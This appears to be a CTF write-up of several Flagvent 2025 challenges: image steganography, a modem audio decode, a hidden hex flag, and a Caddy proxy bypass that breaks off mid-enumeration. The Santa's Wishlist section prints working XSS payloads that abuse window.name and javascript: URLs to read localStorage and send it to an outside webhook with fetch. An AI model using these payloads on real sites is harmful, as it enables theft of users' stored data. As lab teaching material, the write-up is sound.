Flagvent 2025 - Medium
FV25.05
Challenge
🩷🍧🌸🌷🦩 |
|
| Categories: |
|
| Level: | medium |
| Author: | coderion |
| Attachments: |
📦 ping.tar.gz
|
The download has a single image, pink.png.
Solution
File Enumeration
The file looks like a standard PNG with file:
oxdf@hacky$ file pink.png
pink.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlace
It won’t open in my default viewer on Linux:
It does open in Firefox:
exiftool shows something interesting:
oxdf@hacky$ exiftool pink.png
ExifTool Version Number : 12.76
File Name : pink.png
Directory : .
File Size : 34 kB
File Modification Date/Time : 2025:11:24 18:19:35+00:00
File Access Date/Time : 2025:12:05 17:02:53+00:00
File Inode Change Date/Time : 2025:12:05 17:02:46+00:00
File Permissions : -rwxrwx---
File Type : APNG
File Type Extension : png
MIME Type : image/apng
Image Width : 200
Image Height : 200
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Animation Frames : 29
Animation Plays : inf
Image Size : 200x200
Megapixels : 0.040
It’s an animated portable network graphics (APNG) file, with 29 frames.
Extract Frame
I’ll extract each frame to examine them individually:
oxdf@hacky$ mkdir frames
oxdf@hacky$ ffmpeg -i pink.png -vsync 0 frames/frame_%03d.png
ffmpeg version 6.1.1-3ubuntu5 Copyright (c) 2000-2023 the FFmpeg developers
built with gcc 13 (Ubuntu 13.2.0-23ubuntu3)
configuration: --prefix=/usr --extra-version=3ubuntu5 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --disable-omx --enable-gnutls --enable-libaom --enable-libass --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libdav1d --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libglslang --enable-libgme --enable-libgsm --enable-libharfbuzz --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzimg --enable-openal --enable-opencl --enable-opengl --disable-sndio --enable-libvpl --disable-libmfx --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-ladspa --enable-libbluray --enable-libjack --enable-libpulse --enable-librabbitmq --enable-librist --enable-libsrt --enable-libssh --enable-libsvtav1 --enable-libx264 --enable-libzmq --enable-libzvbi --enable-lv2 --enable-sdl2 --enable-libplacebo --enable-librav1e --enable-pocketsphinx --enable-librsvg --enable-libjxl --enable-shared
libavutil 58. 29.100 / 58. 29.100
libavcodec 60. 31.102 / 60. 31.102
libavformat 60. 16.100 / 60. 16.100
libavdevice 60. 3.100 / 60. 3.100
libavfilter 9. 12.100 / 9. 12.100
libswscale 7. 5.100 / 7. 5.100
libswresample 4. 12.100 / 4. 12.100
libpostproc 57. 3.100 / 57. 3.100
-vsync is deprecated. Use -fps_mode
Passing a number to -vsync is deprecated, use a string argument as described in the manual.
Input #0, apng, from 'pink.png':
Duration: N/A, bitrate: N/A
Stream #0:0: Video: apng, rgba(pc, gbr/unknown/unknown), 200x200, 2 fps, 2 tbr, 100k tbn
Stream mapping:
Stream #0:0 -> #0:0 (apng (native) -> png (native))
Press [q] to stop, [?] for help
Output #0, image2, to 'frames/frame_%03d.png':
Metadata:
encoder : Lavf60.16.100
Stream #0:0: Video: png, rgba(pc, gbr/unknown/unknown, progressive), 200x200, q=2-31, 200 kb/s, 2 fps, 2 tbn
Metadata:
encoder : Lavc60.31.102 png
[out#0/image2 @ 0x619e8cb45c80] video:26kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: unknown
frame= 29 fps=0.0 q=-0.0 Lsize=N/A time=00:00:14.00 bitrate=N/A speed= 508x
This generates 29 individual PNGs:
oxdf@hacky$ ls frames
frame_001.png frame_006.png frame_011.png frame_016.png frame_021.png frame_026.png
frame_002.png frame_007.png frame_012.png frame_017.png frame_022.png frame_027.png
frame_003.png frame_008.png frame_013.png frame_018.png frame_023.png frame_028.png
frame_004.png frame_009.png frame_014.png frame_019.png frame_024.png frame_029.png
frame_005.png frame_010.png frame_015.png frame_020.png frame_025.png
oxdf@hacky$ file frames/*
frames/frame_001.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_002.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_003.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_004.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_005.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_006.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_007.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_008.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_009.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_010.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_011.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_012.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_013.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_014.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_015.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_016.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_017.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_018.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_019.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_020.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_021.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_022.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_023.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_024.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_025.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_026.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_027.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_028.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
frames/frame_029.png: PNG image data, 200 x 200, 8-bit/color RGBA, non-interlaced
Each one just appears to be a pink square:
Examine Colors
To get a look at the images more closely, I’ll use Python and the PIL library:
oxdf@hacky$ python
Python 3.12.3 (main, Nov 6 2025, 13:44:16) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from PIL import Image
>>> img = Image.open('frames/frame_001.png')
>>> img
<PIL.PngImagePlugin.PngImageFile image mode=RGBA size=200x200 at 0x7018A78EB6B0>
A really useful check is the getcolors method:
>>> img.getcolors()
[(39930, (255, 192, 203, 255)), (70, (255, 192, 204, 255))]
Each item has a number of pixels, and then the values that describe the color of that pixel as red, green, blue, and alpha values. So the first image has 39930 pixels of the color 255, 192, 203, 255, and 70 of the color 255, 192, 204, 255 (just 1 larger in the blue value).
70 is interesting, because it’s the ASCII value for “F”.
I’ll check the second image:
>>> img = Image.open('frames/frame_002.png')
>>> img.getcolors()
[(39914, (255, 192, 203, 255)), (86, (255, 192, 204, 255))]
86 is ASCII for “V”! Doing this for all the images generates the flag:
>>> for i in range(1, 30):
... img = Image.open(f'frames/frame_{i:03}.png')
... print(chr(img.getcolors()[1][0]), end='')
...
FV25{WE_LOVE_COUNTING_PIXELS}
Flag: FV25{WE_LOVE_COUNTING_PIXELS}
FV25.06
Challenge
I made a cool wishlist application where you can share your christmas wishes with santa! |
|
| Categories: |
|
| Level: | medium |
| Author: | coderion |
| Attachments: |
📦 santas-wishlist.tar.gz
|
| Spawnable Instance: |
|
The challenge comes with a spawnable as well as a download with the source.
Solution
Website
The website starts by asking for a name:
On entering one, it loads a new page:
I’ll note that the URL didn’t change, so this is all being done in JavaScript locally. If I add a wish, it shows up on the page:
If I load the page in another browser and give a different name, I’ll notice that the other user’s wishes are present:
When I give a name, the page loads the new view locally, and the name is never sent to the server. There is a GET request to /notes, which returns JSON with the wishlist:
HTTP/1.1 200 OK
Content-Length: 46
Content-Type: application/json; charset=utf-8
Date: Sat, 13 Dec 2025 12:04:41 GMT
Etag: W/"2e-9AuXn/uyXdtM7OF3jnmcsJrcnRc"
X-Powered-By: Express
{"notes":[{"note":"Flags","username":"0xdf"}]}
If I open a new tab in the same browser, the name page loads for a second, and then it disappears and loads the wishlist page. The username is stored in local storage for the site:
Clicking the “Report to Admin” button will show a message saying it’ll be checked soon:
This sends a POST to /report with the URL of the current instance as the parameter:
POST /report HTTP/1.1
Host: 67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/
Content-Type: application/json
Content-Length: 80
Origin: https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{"url":"https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/"}
Source
The downloadable extracts a folder with the source for the website:
oxdf@hacky$ ls santas-wishlist
bot.js Dockerfile index.html package.json server.js
The Dockerfile shows how the site is configured:
FROM node:18-slim
RUN apt-get update && apt-get install -y \
wget \
ca-certificates \
fonts-liberation \
libappindicator3-1 \
libasound2 \
libatk-bridge2.0-0 \
libatk1.0-0 \
libcups2 \
libdbus-1-3 \
libgdk-pixbuf2.0-0 \
libnspr4 \
libnss3 \
libx11-xcb1 \
libxcomposite1 \
libxdamage1 \
libxrandr2 \
xdg-utils \
libgbm1 \
libxshmfence1 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY package*.json ./
RUN npm install
RUN npx playwright install firefox
COPY . .
EXPOSE 3000
ENV PORT=3000
# Start the application
CMD ["node", "server.js"]
Most of the installed stuff is to support the headless Chromium browser. Playwright is a framework for testing web apps using automated browsers.
bot.js uses Playwright to export a function named visit:
const { firefox } = require('playwright');
const FLAG = process.env.FLAG || 'FLAG{example-flag}';
async function visit(url) {
console.log(`[Bot] Visiting: ${url}`);
let browser;
try {
browser = await firefox.launch({
headless: true,
});
const context = await browser.newContext();
const page = await context.newPage();
page.setDefaultTimeout(10000);
try {
await page.goto('http://localhost:3000', {
waitUntil: 'networkidle',
timeout: 10000
});
await page.evaluate((flag) => {
localStorage.setItem('flag', flag);
}, FLAG);
console.log('[Bot] Flag placed. Now do get it :)');
console.log('[Bot] Visiting URL...');
await page.goto(url, {
waitUntil: 'networkidle',
timeout: 10000
});
await page.waitForTimeout(10000);
console.log('[Bot] Visit completed');
} catch (error) {
console.log('[Bot] Error during visit:', error.message);
}
} catch (error) {
console.error('[Bot] Fatal error:', error);
} finally {
if (browser) {
await browser.close();
}
}
}
module.exports = { visit };
Each time this is called, it will launch a headless Chromium instance, visit http://localhost:3000, set the flag into local storage for that site, and then visits the given URL. These actions show that I need to get the bot to somehow run JavaScript to get the flag from local storage and exfil it to me.
server.js uses ExpressJS to serve the page, explicitly defining the three endpoints I’ve already interacted with:
- GET
/notes- Returns all the notes as JSON - POST
/notes- Adds a note; requires a note and username as POST parameters - POST
/report- Calls thevisitfunction on a providedurlparameter.
It also implicitly defines / with app.use(express.static('.'));, which serves static files from the current directory which has an index.html page.
Vulnerability
The vulnerability is in lines 114-122 of index.html:
if (localStorage.getItem('username')) {
name = localStorage.getItem('username');
}
if (name) {
setTimeout(()=>{showApp()}, 1000);
} else {
document.getElementById('username-prompt').style.display = 'block';
}
The name variable is special, as when it isn’t defined with a let / var / const, it refers to window.name, a special variable that used as “the name for the window’s browsing context”. If I can get the bot’s browser’s window.name set with an XSS payload, I can get the flag.
#1 Exploit via iFrame
For this to work, I need to make an HTML page that loads the CTF site in an iFrame. I’ll create a simple page:
<!DOCTYPE html>
<html>
<body>
<script>
var iframe = document.createElement('iframe');
iframe.name = "<img src=x onerror=\"fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flag='+localStorage.getItem('flag'))\">";
iframe.src = "http://localhost:3000/";
document.body.appendChild(iframe);
</script>
</body>
</html>
This creates an iframe, sets the window.name in that context to an XSS payload that will send the flag to me, and then loads the iframe. I’ll host this with ngrok, and trigger it:
oxdf@hacky$ curl https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/report -H "Content-Type: application/json" -d '{"url": "https://6c3f80c9a1fa.ngrok-free.app/exploit.html"}'
{"success":true,"message":"URL reported successfully. Santa's helper will visit it soon!"}
30 seconds later, there’s a request at my Python HTTP server behind ngrok:
$ python -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
127.0.0.1 - - [13/Dec/2025 07:42:34] "GET /exploit.html HTTP/1.1" 200 -
127.0.0.1 - - [13/Dec/2025 07:42:35] code 404, message File not found
127.0.0.1 - - [13/Dec/2025 07:42:35] "GET /favicon.ico HTTP/1.1" 404 -
And then the flag at webhook.site:
#2 Exploit via popup
A similar approach is a popup payload:
<!DOCTYPE html>
<html>
<body>
<script>
var xss = "<img src=x onerror=\"fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flagpopup='+localStorage.getItem('flag'))\">";
var w = window.open("http://localhost:3000/", xss, "popup");
</script>
</body>
</html>
This works similarly to the iframe but using the window.open API, which takes the following parameters:
open(url, target, windowFeature)
target:
A string, without whitespace, specifying the name of the browsing context the resource is being loaded into. If the name doesn’t identify an existing context, a new context is created and given the specified name.
So by setting the target to the XSS payload, I can abuse the name variable to get the XSS in place. Setting windowFeature to “popup” will open a new window.
I’ll trigger that:
oxdf@hacky$ curl https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/report -H "Content-Type: application/json" -d '{"url": "https://6c3f80c9a1fa.ngrok-free.app/popup.html"}'
{"success":true,"message":"URL reported successfully. Santa's helper will visit it soon!"}
And get the flag:
#3 Exploit via JavaScript URL
There’s also a way to exploit Santa’s Wishlist using [JavaScript URLs](https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Schemes/javascript, an unintended method that skips window.name all together. The bot goes to http://localhost:3000/, sets the flag, and then visits the URL. For a typical URL, that takes the browser off to another pace. But there is a JavaScript URL that will run JavaScript in the context of the current window. The payload looks like:
javascript:fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flagjsurl='+localStorage.getItem('flag'))
When the bot calls page.goto(<javascript url>), it runs in the context of http://localhost:3000, which means that the localStorage.getItem('flag') will get the flag.
I’ll trigger this with curl:
oxdf@hacky$ curl https://67d4672f-8c7e-4c16-90fc-a72bf55e67d0.challs.flagvent.org:1337/report -H "Content-Type: application/json" -d "{\"url\": \"javascript:fetch('https://webhook.site/f2065854-fc27-4862-bed1-54430642149c?flagjsurl='+localStorage.getItem('flag'))\"}"
{"success":true,"message":"URL reported successfully. Santa's helper will visit it soon!"}
And the flag arrives at webhook.site:
Flag: FV25{w1nd0w_d0t_n4m3_sh4r3d}
FV25.H1
Challenge
This extra flag is hidden inside another challenge. |
|
| Categories: |
|
| Level: | hidden |
| Author: | hidden |
Solution
In Day 6 Santa’s Wishlist, one of the files is a package.json:
oxdf@hacky$ ls
bot.js Dockerfile index.html package.json server.js
This has metadata for the challenge:
{
"name": "santas-wishlist-ctf",
"version": "1.0.0",
"description": "Santa's Wishlist",
"main": "server.js",
"scripts": {
"start": "node server.js",
"install-playwright": "npx playwright install firefox"
},
"keywords": ["ctf", "xss", "security"],
"author": "",
"license": "MIT",
"dependencies": {
"express": "^4.18.2",
"playwright": "^1.40.0"
},
"challenge-runtime": "docker",
"challenge-port": "3000",
"challenge-commit-sha": "465632357b68316464656e5f316e5f706c34316e5f73316768747d0a"
}
The challenge-commit-sha field is hex data, and it’s even 56 characters, which is the right length for a SHA-224 hash:
oxdf@hacky$ cat package.json | jq '.["challenge-commit-sha"]' -r | wc -c
57
Still, it starts with 46 == “F”, 56 == “V”, 32 == “2”, 35 == “5”, and it’s the flag in hex:
oxdf@hacky$ cat package.json | jq '.["challenge-commit-sha"]' -r | xxd -r -p
FV25{h1dden_1n_pl41n_s1ght}
Flag: FV25{h1dden_1n_pl41n_s1ght}
FV25.07
Challenge
Rudolph wanted to make a call, but when he took off the phone headset, he heard some strange sounds. |
|
| Categories: |
|
| Level: | medium |
| Author: | lukyluke_ch |
| Attachments: |
📦 captured-noise.tar.gz
|
The download archive contains a single file, captured.wav.
Solution
Decode Modem
Listening to the audio sounds like a modem. I’ll generate a spectrogram as well:
oxdf@hacky$ sox captured.wav -n spectrogram -o spectrogram.png
This image shows the bright white/yellow where the majority of the sound is:
In this case, that’s between 1.1 kHz and 2.2kHz. Claude suggests dial-up modems as one of the options:
minimodem will decode modem input into data. I’ll have to give it a baud-rate. Wikipedia has a page that includes a list of dial-up speeds, which includes common baud rates. When I try others, nothing comes out, but when I give it 1200, it works:
oxdf@hacky$ minimodem -f captured.wav 2200
oxdf@hacky$ minimodem -f captured.wav 300
oxdf@hacky$ minimodem -f captured.wav 1200
### CARRIER 1200 @ 1200.0 Hz ###
█████ █████ ███████ █████ █████ █████ █████ ████████ █████ █████ █████
░░███ ░░███ ███░░░░░███ ░░███ ░░███ ░░███ ░░███ ███░░░░███ ███░░░███ ███░░░███ ███░░░███
░███ ░███ ███ ░░███ ░███ ░███ ░░███ ███ ░███ ░███ ███ ░░███ ███ ░░███ ███ ░░███
░███████████ ░███ ░███ ░███ ░███ ░░█████ ░░█████████░███ ░███░███ ░███░███ ░███
░███░░░░░███ ░███ ░███ ░███ ░███ ░░███ ░░░░░░░███░███ ░███░███ ░███░███ ░███
░███ ░███ ░░███ ███ ░███ █ ░███ █ ░███ ███ ░███░░███ ███ ░░███ ███ ░░███ ███
█████ █████ ░░░███████░ ███████████ ███████████ █████ ░░████████ ░░░█████░ ░░░█████░ ░░░█████░
░░░░░ ░░░░░ ░░░░░░░ ░░░░░░░░░░░ ░░░░░░░░░░░ ░░░░░ ░░░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░
The Holly 9000 is an interactive AI which captures wishes from all over the world and produces presents on demand.
Please verify yourself:
User> Santa
Thanks you Santa, please resolve the challenge: http://ranta.ch/fv25/holly-9000/
Verification> It is me, Santa
Well done, the verification was successful.
Command> ?
Play
Start
List
Exit
Command> Play
Listen to some nice tunes: http://ranta.ch/fv25/holly-9000/player.html
Command> List
# Name Naughty/Nice Wish
1 Aaron Mills Nice A mechanical keyboard
2 Abigail Hart Naughty A "behave" handbook
3 Adrian Cole Nice Noise-cancelling headphones
4 Aisha Khan Nice A cozy wool blanket
5 Alan Reeves Naughty An apology journal
6 Alex Park Nice A camera drone
7 Alice Monroe Nice A watercolor set
8 Alicia Torres Naughty A time-management planner
9 Allan Briggs Nice A set of chef knives
10 Amanda Lee Nice A bonsai starter kit
11 Amber Flynn Naughty A cookbook for polite guests
12 Amelia Stone Nice A telescope
13 Andre Novak Nice A vintage record player
14 Andrew White Naughty A book on empathy
15 Angela Ross Nice A spa gift box
16 Anita Desai Nice A language learning app subscription
17 Anna Wu Naughty A gardening manual (for neighbors)
18 Anthony Cruz Nice A portable espresso maker
19 April Benson Naughty A "how to listen" course
20 Ariel Gordon Nice A leather journal
21 Arnold Price Naughty A kid’s manners book
22 Ashley Kim Nice A silk scarf
23 Ashton Velez Nice A set of board games
24 Audrey Park Naughty A noise-reduction device
25 Austin Hayes Nice A fitness tracker
26 Ava Bennett Nice A handcrafted necklace
27 Barbara Klein Naughty A declutter starter kit
28 Ben Carter Nice A portable projector
29 Bethany Cole Nice An indoor herb garden kit
30 Bianca Ramos Naughty A budget planner
31 Blake Turner Nice A pair of hiking boots
32 Brandon Scott Naughty A conflict-resolution book
33 Brenda Ortiz Nice A pottery class voucher
34 Brian Fox Nice A smart home speaker
35 Brianna Lake Naughty A punctuality alarm clock
36 Brock Mason Nice A barbecue tool set
37 Brooke Daniels Nice A handwoven throw
38 Caleb Rhodes Naughty A "roommate etiquette" guide
39 Camila Silva Nice A digital art tablet
40 Candice Owens Naughty A listening skills workbook
41 Carl Meyer Nice A whiskey tasting kit
42 Carly Nguyen Nice A subscription box (books)
43 Carmen Lopez Naughty A volunteer shift (charity)
44 Carter Lane Nice A smartwatch
45 Cassandra Pike Nice A concert ticket voucher
46 Charles Beck Naughty A cooking class (to share)
47 Charlotte Gale Nice A yoga mat + classes
48 Chloe Winters Nice A film photography starter kit
49 Chris O'Neil Naughty A "stop interrupting" badge
Press Enter to Continue...
Command>
50 Christian Ford Nice A weekend getaway voucher
51 Christine Shaw Naughty A recipe for patience
52 Claire Bennett Nice A specialty tea collection
53 Claudia Ruiz Nice A sewing machine
54 Cody Wallace Naughty A manners refresher course
55 Colin Hartman Nice A woodworking starter set
56 Courtney Price Nice A gourmet chocolate box
57 Craig Nolan Naughty A library fine to pay (metaphorically)
58 Crystal Vega Nice A fitness class pass
59 Curtis Lane Naughty A volunteer apology letter kit
60 Cynthia Morales Nice A personalized cookbook
61 Daisy Ford Nice A set of scented candles
62 Damian Cross Naughty A mediation app subscription
63 Dana Blake Nice A pottery wheel session
64 Daniel Ortiz Nice A vintage watch
65 Daniela Russo Naughty A "think before you speak" poster
66 Darren Cole Nice A gourmet spice rack
67 David Kim Nice A high-end backpack
68 Dawn Ellis Naughty A neighborhood goodwill task
69 Dean Harper Nice A drone photography lesson
70 Deborah Lane Nice A floral arranging kit
71 Derek Shaw Naughty A punctuality training calendar
72 Diana Flores Nice A subscription to a science magazine
73 Dominic Price Naughty A manners tea party invite
74 Donna Hale Nice A luxury robe
75 Dylan Nguyen Nice A coding course
76 Edith Palmer Naughty A kindness challenge pack
77 Edward Miles Nice A gourmet coffee subscription
78 Eleanor West Nice A handcrafted pottery set
79 Elijah Grant Naughty A neighborhood repair volunteer day
80 Elizabeth Young Nice A set of classic novels
81 Ella Morrison Nice A bakeware set
82 Emily Dawson Naughty A noise-awareness program
83 Emma Brooks Nice A botanical print set
84 Eric Wallace Nice A barbecue smoker
85 Erin Gilbert Naughty A civil-conversation class
86 Ethan Russell Nice A mountain bike
87 Eva Sinclair Naughty A book on thoughtful communication
88 Evan Price Nice A VR headset
89 Faith Jordan Nice A handmade quilt
90 Felix Navarro Naughty A community service voucher
91 Fiona Chen Nice A silk pillowcase set
92 Gabriella Diaz Nice A film festival pass
93 Gary Banks Naughty A time capsule of apologies
94 Gemma Reeves Nice A designer handbag
95 George Holt Naughty A "show up on time" watch
96 Grace Kim Nice A watercolor class subscription
97 Greg Owens Naughty A cooperation board game
98 Hannah Bishop Nice A musical instrument (ukulele)
99 Harry Stone Naughty A patience-building puzzle set
100 Hazel Murray Nice A solar-powered charger
Press Enter to Continue...
Command>
101 Hector Morales Naughty A community garden shift
102 Holly Price Nice A weekend yoga retreat
103 Howard Finch Naughty A neighborhood cleanup kit
104 Hugo Alvarez Nice A gourmet cheese-making kit
That's all...
Command> Exit
See you Soon Santa.
Exit...
### NOCARRIER ndata=7399 confidence=4.857 ampl=1.001 bps=1200.00 (rate perfect) ###
The data contains two URLs, http://ranta.ch/fv25/holly-9000/ and http://ranta.ch/fv25/holly-9000/player.html. It has a naughty/nice list with 104 names. That’s about it.
Website
player.html is just a 301 redirect to a RickRoll. The root has a website:
There’s nothing too interesting here, but looking at the search, there’s in-line CSS for @flag-face:
The range points given start with 46, 46, 32, 35, which are the hex values for FV25. I’ll use those to get the flag:
oxdf@hacky$ curl -s https://ranta.ch/fv25/holly-9000/ | tr '@' '\n' | grep flag-face
flag-face{format("flag"); unicode-range: U+46, U+56, U+32, U+35, U+7b, U+57, U+68, U+40, U+74, U+2d, U+41, U+2d, U+77, U+31, U+72, U+33, U+64, U+2d, U+4e, U+6f, U+31, U+73, U+65, U+7d}
oxdf@hacky$ curl -s https://ranta.ch/fv25/holly-9000/ | tr '@' '\n' | grep flag-face | grep -oP 'U\+..' | cut -d'+' -f2 | tr -d '\n' | xxd -r -p
FV25{Wh@t-A-w1r3d-No1se}
Flag: FV25{Wh@t-A-w1r3d-No1se}
FV25.17
Challenge
As part of the digitalization effort, Santa set up an website for people to submit wishes. This way, they no longer need to fax in their wishlists. |
|
| Categories: |
|
| Level: | medium |
| Author: | logicaloverflow |
| Attachments: |
📦 wish-server.tar.gz
|
| Spawnable Instance: |
|
The spawn button gives a website and the download contains the source for the site.
Enumeration
Website
The website is very basic:
If I submit something, the form just resets. There is a POST request sent to /add_wish:
POST /add_wish HTTP/1.1
Host: 1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337
Referer: https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
wish=a+flag
Source
The download has the source for the site:
oxdf@hacky$ ls
Caddyfile Cargo.lock Cargo.toml Dockerfile src start.sh templates
The Dockerfile uses a Rust image to build the server, and then creates a Caddy container to run it using the Caddyfile:
FROM rust:1.91-alpine3.20 AS build
RUN apk add --no-cache musl-dev
RUN mkdir -p /wish-server
WORKDIR /wish-server
COPY ./Cargo.lock ./Cargo.lock
COPY ./Cargo.toml ./Cargo.toml
COPY ./src ./src
# build for release
RUN cargo build --release
FROM caddy:2.10.2-alpine
WORKDIR /root/
COPY --from=build /wish-server/target/release/wish-server .
COPY ./templates ./templates
COPY Caddyfile Caddyfile
COPY ./start.sh ./start.sh
EXPOSE 5825/tcp
CMD [ "./start.sh" ]
src has a single Rust file, main.rs. It defines a Rust web application with three routes that listenins on 5824:
#[tokio::main]
async fn main() {
let shared_wishlist = SharedWishlist::default();
let app = Router::new()
.route("/", get(index))
.route("/add_wish", post(add_wish))
.route("/wishlist", get(wishlist))
.with_state(shared_wishlist.clone());
let listener = tokio::net::TcpListener::bind("127.0.0.1:5824")
.await
.expect("failed to bind");
axum::serve(listener, app).await.expect("failed to serve");
}
Two of the three routes I’ve already interacted with, / and /add_wish. /wishlist is new.
index just returns the index.html template:
async fn index() -> Html<String> {
let context = tera::Context::new();
Html(
TEMPLATES
.render("index.html", &context)
.expect("failed to render index.html"),
)
}
add_wish handles adding wishes to the list:
async fn add_wish(State(list): State<SharedWishlist>, Form(wish): Form<WishForm>) -> Redirect {
{
let mut lock = list.write().expect("failed to get write lock");
let list = &mut lock.latest_wishes;
if list.len() == 8 {
list.pop_front();
}
list.push_back(wish.wish);
}
Redirect::to("/")
}
The structure holds up to eight wishes. If it gets more, it loses old ones first-in-first-out. After updating the list, it redirects to /.
wishlist uses the wishlist.html template, putting the wishes object as well as the flag from an environment variable into the page:
async fn wishlist(State(list): State<SharedWishlist>) -> Html<String> {
let wishes = {
let lock = list.read().expect("failed to get read lock");
lock.latest_wishes.iter().cloned().collect::<Vec<_>>()
};
let mut context = tera::Context::new();
context.insert("wishes", &wishes);
context.insert(
"flag",
&std::env::var("FLAG")
.ok()
.unwrap_or("FVXX{NOT_THE_FLAG}".to_string()),
);
Html(
TEMPLATES
.render("wishlist.html", &context)
.expect("failed to render wishlist.html"),
)
}
The template is:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Wish Server</title>
</head>
<body>
<h1>Latest Wishes</h1>
<ul>
</ul>
The flag is . Keep it save!
Christmas is drawing near and we have made it through the year without
losing the flag this year. Only a bit longer, Santa! Please don't lose it
again.
</body>
</html>
Webserver
Caddy is a Go web server, and the Caddyfile is how it’s configured:
:5825 {
@head {
method HEAD
}
@wishlist {
method GET
path /wishlist
}
route {
respond @wishlist "Access denied" 403 {
close
}
method @head GET
encode gzip zstd
reverse_proxy http://localhost:5824
}
}
In this case, it’s listening on 5825 (the same port exposed by the Dockerfile). The route declaration first blocks anything matching @wishlist (GET to /wishlist) with a 403.
method @head GET will rewrite any HEAD requests to GET requests.
Both gzip and zstd compression are enabled.
Requests are proxied to localhost:5824 (the Rust application).
Interacting
Trying to GET /wishlist returns a 403 (as expected):
oxdf@hacky$ curl https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/wishlist
Access denied
Issuing a HEAD request (-I in curl) returns 200 OK with a content length but no data:
oxdf@hacky$ curl -I https://1281cdeb-d671-41ad-af92-c64a81a40581.challs.flagvent.org:1337/wishlist
HTTP/1.1 200 OK
Content-Length: 433
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Dec 2025 12:23:03 GMT
